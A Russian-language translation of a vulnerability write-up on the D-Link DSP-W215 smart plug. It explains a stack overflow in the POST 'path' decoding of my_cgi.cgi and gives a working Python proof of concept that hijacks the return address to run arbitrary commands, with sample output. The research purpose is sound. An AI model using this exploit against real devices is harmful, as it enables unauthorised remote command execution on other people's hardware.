Взламываем D-Link DSP-W215 Smart Plug: Опять, снова, еще раз

от автора

image

В предыдущих сериях:

  1. Взламываем D-Link DSP-W215 Smart Plug
  2. Взламываем D-Link DSP-W215 Smart Plug. Снова
  3. Взламываем D-Link DSP-W215 Smart Plug. Снова и опять

До сих пор, все найденные в DSP-W215 уязвимости могли быть выполнены только из LAN, ну, если вы не глупец и не открыли доступ к Smart Plug из интернета.
Типичным способом атаки устройств со встроенным веб-сервером, доступным только из внутренней сети, типа того, что у DSP-W215 — через CSRF. Проблема этого метода в том, что любой веб-браузер будет кодировать (urlencode) передаваемые данные, например, адрес возврата, но до этого момента мы использовали уязвимости, которые не декодируют (urldecode) наши данные (уязвимость в функции replace_special_char, которую мы эксплуатировали в предыдущей статье, декодирует только ограниченный набор ASCII-символов).

Бинарный файл my_cgi.cgi, который является основной уязвимой целью, содержит функцию-декодировщик «decode», которая декодирует POST-данные. Этой функции передается два аргумента: указатель на закодированные данные и указатель на буфер, где хранятся раскодированные данные:

void decode(char *encode_buf, char *decode_buf);

Эта функция просто проходит циклом по всем байтам в encode_buf и раскодирует или копирует их в decode_buf:
image

Грубо говоря, ее код выглядит как-то так:

void decode(char *encode_buf, char *decode_buf) {     int encoded_byte_len;     char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);       // Loop through all bytes in encode_buf, without knowing how big decode_buf is     while(encoded_data < encode_buf_end_ptr)     {         /*          * ...          * Do Decoding of the next byte in encoded_data.          * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).          * ...          */           decode_buf[0] = decoded_byte;         decode_buf++;         encoded_data += encoded_byte_len;     } }

Если вызывающая функция не позаботилась о выделении буфера размера достаточного, чтобы сохранить все декодированные данные, то этот буфер (decode_buf) может быть переполнен большим POST-параметром.
В my_cgi.cgi есть только одна функция, из которой вызывается функция декодирования — get_input_entries:
image

Как видим, функция «decode» вызывается только в том случае, если имя POST-параметра «path», а из memset можно увидеть, что буферу decode_buf выделяется всего 0×400 на стеке:

char decode_buf[0x400];   if(strcmp(entries[i]->name, "path") == 0) {     // Decode path POST value into the fixed-size decode_buf     decode(entries[i]->value, decode_buf);     strcpy(entries[i]->value, decode_buf); }   replace_special_char(entries[i]->value);

Это значит, что в случае, если мы передадим в POST-запросе значение «path» размером больше, чем 0×400 байт, произойдет переполнение буфера decode_buf на стеке внутри функции get_input_entries. И, что более интересно, у нас не будет «плохих» байт, т.к. функция «decode» все их раскодирует (например, превратит %00 в NULL-байт) перед копированием обратно на стек.

Однако, нам нужно проявить некоторую осторожность при составлении эксплоита, чтобы не вызвать переполнение буфера в функции replace_special_char, которая вызывается перед возвратом из get_input_entries.

К счастью, данные, которые передаются к replace_special_char предварительно проходят strcpy из decode_buf, поэтому, если мы поставим NULL-байт где-то ближе к началу POST-запроса, функции replace_special_char передастся строка очень маленькой длины (все то, что было до первого NULL-байта) вместо всего POST-запроса, который был раскодирован на стек.

POST-значение «path», длиной более 1060 байт, переполняет все в стековом фрейме функции get_input_entries, включая адрес возврата:
image

А из-за того, что у нас нет «плохих» байт, мы можем использовать адрес возврата 0x00405CEC, который мы использовали в предыдущих эксплоитах, чтобы вызвать system() с указателем на стек ($sp+0×28):
image

Вот небольшой код PoC на Python, который переполняет функцию get_input_entries, заменяет адрес возврата на вызов system() по адресу 0x00405CEC и запускает команду на стеке по смещению $sp+0×28:

import sys import urllib import urllib2   try:     target = sys.argv[1]     command = sys.argv[2] except:     print "Usage: %s <target> <command>" % sys.argv[0]     sys.exit(1)   url = "http://%s/common/info.cgi" % target   buf  = "\x00"               # Start with a NULL byte to prevent crashing in replace_special_chars buf += "D" * (1060-1)       # Stack filler buf += "\x00\x40\x5C\xEC"   # $ra, address of call to system() buf += "E" * 0x28           # Stack filler buf += command              # Command to execute buf += "\x00"               # NULL terminate the command, for good measure   # URL encode the path POST value post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20')   # Set a referer to show that there are no CSRF protections headers = {'Referer' : 'http://www.attacker.com/exploit.html'}   req = urllib2.Request(url, post_data, headers) print urllib2.urlopen(req).read()

Работает она, конечно же, как и полагается:

$ ./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin drwxrwxrwx    3 1000     1000         4096 May 24 23:26 tmp drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var -rw-r--r--    1 1000     1000           17 May 16 09:01 version drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www

ссылка на оригинал статьи http://habrahabr.ru/post/224063/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *